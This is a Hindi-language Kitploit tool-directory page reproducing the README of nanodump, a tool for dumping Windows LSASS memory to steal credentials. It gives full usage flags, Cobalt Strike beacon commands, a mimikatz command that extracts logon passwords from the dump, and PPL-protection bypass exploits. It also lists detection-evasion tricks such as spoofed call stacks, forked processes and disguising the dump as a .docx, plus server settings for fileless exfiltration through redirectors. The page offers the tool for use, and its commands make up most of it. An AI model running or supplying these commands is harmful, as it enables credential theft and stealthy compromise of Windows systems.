Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
nanodump — LSASS डंपिंग का स्विस आर्मी नाइफ | Kitploit
उपकरण/GitHubGitHub/fortra/nanodump
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubfortra/nanodump

nanodump

LSASS डंपिंग का स्विस आर्मी नाइफ

रिपॉजिटरी देखें
2.1k2721 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

NanoDump

एक लचीला उपकरण जो LSASS प्रक्रिया का मिनीडंप बनाता है।

screenshot

विषय सूची

  1. उपयोग
  2. विशेषताएँ
  3. तकनीकों का संयोजन
  4. उदाहरण
  5. HTTPS रीडायरेक्टर

1. उपयोग

root@kitploit:~
usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

क्लोन करें

root@kitploit:~
git clone https://github.com/fortra/nanodump.git

संकलन करें (वैकल्पिक)

Linux पर MinGW के साथ

root@kitploit:~
make -f Makefile.mingw

Windows पर MSVC के साथ (कोई BOF समर्थन नहीं)

root@kitploit:~
nmake -f Makefile.msvc

आयात करें (केवल CobaltStrike)

Cobalt Strike पर NanoDump.cna स्क्रिप्ट आयात करें।

चलाएँ

Beacon कंसोल में nanodump कमांड या nanodump.x64.exe बाइनरी चलाएँ।

हस्ताक्षर पुनर्स्थापित करें

यदि आपने --valid फ़्लैग निर्दिष्ट नहीं किया है, तो आपको अमान्य हस्ताक्षर पुनर्स्थापित करने की आवश्यकता है।

root@kitploit:~
scripts/restore_signature <dumpfile>

रहस्य प्राप्त करें

mimikatz:
रहस्य प्राप्त करने के लिए बस चलाएँ:

root@kitploit:~
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
यदि आप linux पर रहना पसंद करते हैं, तो आप mimikatz के python3 पोर्ट का उपयोग कर सकते हैं जिसे pypykatz कहा जाता है:

root@kitploit:~
python3 -m pypykatz lsa minidump <dumpfie>

2. विशेषताएँ

प्रक्रिया फोर्किंग

PROCESS_VM_READ के साथ LSASS के लिए हैंडल खोलने से बचने के लिए, आप --fork पैरामीटर का उपयोग कर सकते हैं।
यह nanodump को PROCESS_CREATE_PROCESS एक्सेस के साथ LSASS के लिए हैंडल बनाने और फिर प्रक्रिया का 'क्लोन' बनाने पर मजबूर करेगा। इस नई प्रक्रिया को फिर डंप किया जाएगा। जबकि इसके परिणामस्वरूप एक प्रक्रिया निर्माण और विलोपन होगा, यह LSASS को सीधे पढ़ने की आवश्यकता को समाप्त करता है।

स्नैपशॉट

--fork विकल्प के समान, आप LSASS प्रक्रिया का स्नैपशॉट बनाने के लिए --snapshot का उपयोग कर सकते हैं।
यह nanodump को PROCESS_CREATE_PROCESS एक्सेस के साथ LSASS के लिए हैंडल बनाने और फिर PssNtCaptureSnapshot का उपयोग करके प्रक्रिया का स्नैपशॉट बनाने पर मजबूर करेगा। इस नई प्रक्रिया को फिर डंप किया जाएगा। पूरा होने पर स्नैपशॉट स्वचालित रूप से मुक्त हो जाएगा।

हैंडल डुप्लिकेशन

चूँकि LSASS के लिए हैंडल खोलना पता लगाया जा सकता है, nanodump इसके बजाय LSASS के मौजूदा हैंडल की खोज कर सकता है।
यदि कोई मिल जाता है, तो यह उसे कॉपी करेगा और मिनीडंप बनाने के लिए उसका उपयोग करेगा।
ध्यान दें कि ऐसा हैंडल मिलने की गारंटी नहीं है।

हैंडल ऊँचा करें

आप PROCESS_QUERY_LIMITED_INFORMATION के साथ LSASS के लिए हैंडल प्राप्त कर सकते हैं, जिसे संभवतः श्वेतसूची में रखा गया है, और फिर उस हैंडल को डुप्लिकेट करके ऊँचा कर सकते हैं।

Seclogon हैंडल लीक स्थानीय

LSASS के लिए हैंडल खोलने से बचने के लिए, आप CreateProcessWithLogonW को कॉल करके seclogon सेवा का दुरुपयोग कर सकते हैं ताकि LSASS हैंडल को nanodump बाइनरी में लीक किया जा सके।
इस सुविधा को सक्षम करने के लिए, --seclogon-leak-local पैरामीटर का उपयोग करें।
ध्यान रखें कि जब Cobalt Strike से उपयोग किया जाता है, तो इस सुविधा का उपयोग करने के लिए डिस्क पर एक अहस्ताक्षरित nanodump बाइनरी लिखी जानी चाहिए।

Seclogon हैंडल लीक रिमोट

यह तकनीक पिछली के समान है, लेकिन हैंडल को nanodump में लीक करने के बजाय, इसे दूसरी बाइनरी में लीक किया जाता है और फिर डुप्लिकेट किया जाता है ताकि nanodump इसका उपयोग कर सके। इस कार्यक्षमता तक पहुँचने के लिए --seclogon-leak-remote फ़्लैग का उपयोग करें।

Seclogon हैंडल डुप्लिकेशन

आप फ़ाइल लॉक का उपयोग करके दौड़ की स्थिति जीतकर, seclogon प्रक्रिया को LSASS के लिए हैंडल खोलने और बंद होने से पहले इसे डुप्लिकेट करने के लिए धोखा दे सकते हैं। इस कार्यक्षमता तक पहुँचने के लिए --seclogon-duplicate फ़्लैग का उपयोग करें।

नैनोडंप को SSP के रूप में लोड करें

आप हैंडल खोलने से बचने के लिए nanodump को LSASS में SSP के रूप में लोड कर सकते हैं।
जब DLL LSASS में लोड हो जाता है, तो पैरामीटर एक नामित पाइप के माध्यम से पारित किए जाएंगे और एक बार डंप पूरा हो जाने पर, DllMain FALSE लौटाएगा ताकि LSASS nanodump DLL को अनलोड कर दे।
आप कंपाइलर फ़्लैग PASS_PARAMS_VIA_NAMED_PIPES=0 के साथ पैरामीटर को DLL में हार्डकोड कर सकते हैं और नामित पाइप का उपयोग पूरी तरह से टाल सकते हैं।

नैनोडंप DLL अपलोड और लोड करें

डिफ़ॉल्ट रूप से, एक अहस्ताक्षरित nanodump DLL Temp फ़ोल्डर में अपलोड किया जाएगा जो स्वचालित रूप से हटा दिया जाएगा।

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

यदि आप पहले से मौजूद DLL लोड करना चाहते हैं, तो आप चला सकते हैं:

root@kitploit:~
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL डंप शोषण

यदि LSASS संरक्षित प्रक्रिया लाइट (PPL) के रूप में चल रहा है, तो आप Project Zero द्वारा खोजे गए उपयोगकर्ता-स्तरीय शोषण का उपयोग करके इसे बायपास करने का प्रयास कर सकते हैं। यदि यह सफल होता है, तो डंप डिस्क पर लिखा जाएगा।

ध्यान दें कि यह भेद्यता जुलाई 2022 अद्यतन पैक (Windows 10 21H2 Build 19044.1826) में ठीक कर दी गई है।

इस सुविधा तक पहुँचने के लिए, nanodump_ppl_dump कमांड का उपयोग करें

root@kitploit:~
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL मेडिक शोषण

नैनोडंप PPLMedic शोषण को भी लागू करता है, जो जुलाई 2022 अद्यतन पैक वाले सिस्टम पर काम करता है। पैरामीटर एक नामित पाइप के माध्यम से nanodump DLL को पारित किए जाएंगे। आप कंपाइलर फ़्लैग PASS_PARAMS_VIA_NAMED_PIPES=0 के साथ पैरामीटर को DLL में हार्डकोड कर सकते हैं और नामित पाइप का उपयोग पूरी तरह से टाल सकते हैं।

इस सुविधा तक पहुँचने के लिए, nanodump_ppl_medic कमांड का उपयोग करें

root@kitploit:~
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

आप WerFault.exe प्रक्रिया को LSASS का पूर्ण मेमोरी डंप बनाने के लिए मजबूर कर सकते हैं। ध्यान रखें कि इसके लिए रजिस्ट्री में लिखने की क्षमता आवश्यक है।

क्योंकि डंप nanodump द्वारा नहीं बनाया गया है, इसमें हमेशा एक मान्य हस्ताक्षर होगा।

साइलेंट प्रोसेस एग्ज़िट

साइलेंट प्रोसेस एग्ज़िट तकनीक का लाभ उठाने के लिए, --silent-process-exit पैरामीटर और उस पथ का उपयोग करें जहाँ डंप बनाया जाना चाहिए।

root@kitploit:~
beacon> nanodump --silent-process-exit C:\Windows\Temp\

नैनोडंप प्रक्रिया का एक डंप भी बनाया जाएगा, जो इस प्रकार होगा:

root@kitploit:~
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

आप Shtinkering तकनीक का भी उपयोग कर सकते हैं, जिसके लिए nanodump को SYSTEM के तहत चलाना आवश्यक है:

root@kitploit:~
beacon> nanodump --shtinkering

डंप आमतौर पर C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps के अंतर्गत बनाया जाएगा।

कॉलस्टैक को स्पूफ करें

आप LSASS के लिए एक नकली कॉलस्टैक के साथ हैंडल खोल सकते हैं ताकि फ़ंक्शन कॉल थोड़ा अधिक वैध दिखे (विशेषकर यदि BOF के रूप में चलाया जाए)।
इस सुविधा तक पहुँचने के लिए, पैरामीटर --spoof-callstack का उपयोग करें।

3. तकनीकों का संयोजन

आप nanodump के संचालन को अनुकूलित करने के लिए कई तकनीकों को जोड़ सकते हैं।
निम्न तालिका इंगित करती है कि किन फ़्लैग का एक साथ उपयोग किया जा सकता है।

4. उदाहरण

फोर्क बनाकर LSASS को अप्रत्यक्ष रूप से पढ़ें और अमान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें:

root@kitploit:~
beacon> nanodump --fork --write C:\lsass.dmp

नोटपैड प्रक्रिया में LSASS हैंडल लीक करने के लिए seclogon लीक रिमोट का उपयोग करें, LSASS तक पहुँच प्राप्त करने के लिए उस हैंडल को डुप्लिकेट करें, फिर फोर्क बनाकर अप्रत्यक्ष रूप से इसे पढ़ें और मान्य हस्ताक्षर के साथ डंप डाउनलोड करें:

root@kitploit:~
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Seclogon लीक स्थानीय के साथ हैंडल प्राप्त करें, फोर्क का उपयोग करके LSASS को अप्रत्यक्ष रूप से पढ़ें और मान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें (एक nanodump बाइनरी अपलोड की जाएगी!):

root@kitploit:~
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

अमान्य हस्ताक्षर के साथ डंप डाउनलोड करें (डिफ़ॉल्ट):

root@kitploit:~
beacon> nanodump

मौजूदा हैंडल को डुप्लिकेट करें और अमान्य हस्ताक्षर के साथ डंप को डिस्क पर लिखें:

root@kitploit:~
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

LSASS का PID प्राप्त करें:

root@kitploit:~
beacon> nanodump --getpid

नैनोडंप को SSP के रूप में LSASS में लोड करें (एक nanodump बाइनरी अपलोड की जाएगी!):

root@kitploit:~
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

PPLDump शोषण का उपयोग करके PPL को बायपास करते हुए LSASS डंप करें, csrss.exe के पास LSASS पर मौजूद हैंडल को डुप्लिकेट करें:

root@kitploit:~
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

PPLMedic शोषण का उपयोग करके PPL को बायपास करते हुए LSASS डंप करें, LSASS के लिए कम विशेषाधिकार वाला हैंडल खोलें और फिर इसे ऊँचा करें:

root@kitploit:~
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Seclogon को LSASS के लिए हैंडल खोलने और इसे डुप्लिकेट करने के लिए धोखा दें, फिर अमान्य हस्ताक्षर के साथ डंप डाउनलोड करें:

root@kitploit:~
beacon> nanodump --seclogon-duplicate

WerFault.exe प्रक्रिया को Temp फ़ोल्डर में पूर्ण मेमोरी डंप बनाने के लिए मजबूर करें:

root@kitploit:~
beacon> nanodump --werfault C:\Windows\Temp\

स्पूफ़ किए गए कॉलस्टैक के साथ LSASS के लिए हैंडल खोलें और अमान्य हस्ताक्षर के साथ मिनीडंप डाउनलोड करें:

root@kitploit:~
beacon> nanodump --spoof-callstack

Shtinkering तकनीक का उपयोग करें:

root@kitploit:~
beacon> nanodump --shtinkering

Seclogon लीक स्थानीय का उपयोग करके हैंडल प्राप्त करें और Shtinkering तकनीक का उपयोग करके डंप बनाएँ:

root@kitploit:~
beacon> nanodump --seclogon-leak-local --shtinkering

कम विशेषाधिकार वाला हैंडल प्राप्त करें और elevate handle का उपयोग करके इसे ऊँचा करें:

root@kitploit:~
beacon> nanodump --elevate-handle

स्पूफ़ किए गए कॉलस्टैक का उपयोग करके कम विशेषाधिकार वाला हैंडल प्राप्त करें और elevate handle का उपयोग करके इसे ऊँचा करें:

root@kitploit:~
beacon> nanodump --elevate-handle --spoof-callstack

मौजूदा कम विशेषाधिकार वाले हैंडल को डुप्लिकेट करें और elevate handle का उपयोग करके इसे ऊँचा करें:

root@kitploit:~
beacon> nanodump --duplicate-elevate

5. HTTPS रीडायरेक्टर

यदि आप HTTPS रीडायरेक्टर का उपयोग कर रहे हैं (जैसा कि आपको करना चाहिए), तो डंप को फ़ाइललेस डाउनलोड करते समय आपको अनुरोधों के आकार के कारण समस्याओं का सामना करना पड़ सकता है जो डंप को लीक करते हैं।
नैनोडंप को डंप डाउनलोड करने की अनुमति देने के लिए अपने वेब सर्वर पर अनुरोधों का अधिकतम आकार बढ़ाएँ।

NGINX

root@kitploit:~
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

root@kitploit:~
<Directory "...">
    LimitRequestBody  52428800
</Directory>

श्रेय

  • skelsec ने minidump लिखा, जो minidump फ़ाइल प्रारूप सीखने के लिए महत्वपूर्ण था।
  • freefirex से CS-Situational-Awareness-BOF Trustedsec पर BOF के लिए कई शानदार तरकीबों के लिए
  • Jackson_T SysWhispers2 के लिए
  • BillDemirkapi प्रोसेस फोर्किंग के लिए
  • Antonio Cocomazzi लीक हुए हैंडल का दुरुपयोग करके LSASS मेमोरी डंप करना और LSASS डंप के लिए रेसिंग के लिए
  • xpn मिमिकैट्ज़ की खोज - भाग 2 - SSP के लिए
  • Matteo Malvica WinDefender ATP क्रेडेंशियल-चोरी से बचना: हिट-एंड-मिस शुरुआत के बाद एक हिट के लिए
  • James Forshaw Windows शोषण तरकीबें: स्थानीय विशेषाधिकार वृद्धि के लिए मनमानी ऑब्जेक्ट निर्देशिका निर्माण का शोषण के लिए
  • itm4n मूल PPL उपयोगकर्ता-स्तरीय शोषण कार्यान्वयन, PPLDump और PPLMedic के लिए।
  • Asaf Gilboa LSASS मेमोरी डंप पहले से कहीं अधिक गुप्त हैं - भाग 2 और Shtinkering तकनीक के लिए
टूल डाउनलोड करें
--write--valid--duplicate--elevate-handle--duplicate-elevate--seclogon-leak-local--seclogon-leak-remote--seclogon-duplicate--spoof-callstack--silent-process-exit--shtinkering--fork--snapshotSSPPPL_DUMPPPL_MEDIC
--write✓✓✓✓✓✓✓✓✓✓✓✓✓
--valid✓✓✓✓✓✓✓✓✓✓✓✓✓
--duplicate✓✓✓✓✓✓✓
--elevate-handle✓✓✓✓✓✓✓✓
--duplicate-elevate✓✓✓✓✓✓
--seclogon-leak-local✓✓✓✓✓✓
--seclogon-leak-remote✓✓✓✓✓✓
--seclogon-duplicate✓✓✓✓✓✓
--spoof-callstack✓✓✓✓✓✓✓
--silent-process-exit✓
--shtinkering✓✓✓✓✓✓✓✓
--fork✓✓✓✓✓✓✓✓✓✓
--snapshot✓✓✓✓✓✓✓✓✓✓
SSP✓
PPL_DUMP✓✓✓✓
PPL_MEDIC✓✓✓✓
  • William Burgess EDR को भ्रमित करने के लिए कॉल स्टैक्स को स्पूफ करना के लिए
  • Sebastian Feldmann और Fabian Morph Your Malware! में चर्चित elevate handle तकनीक के लिए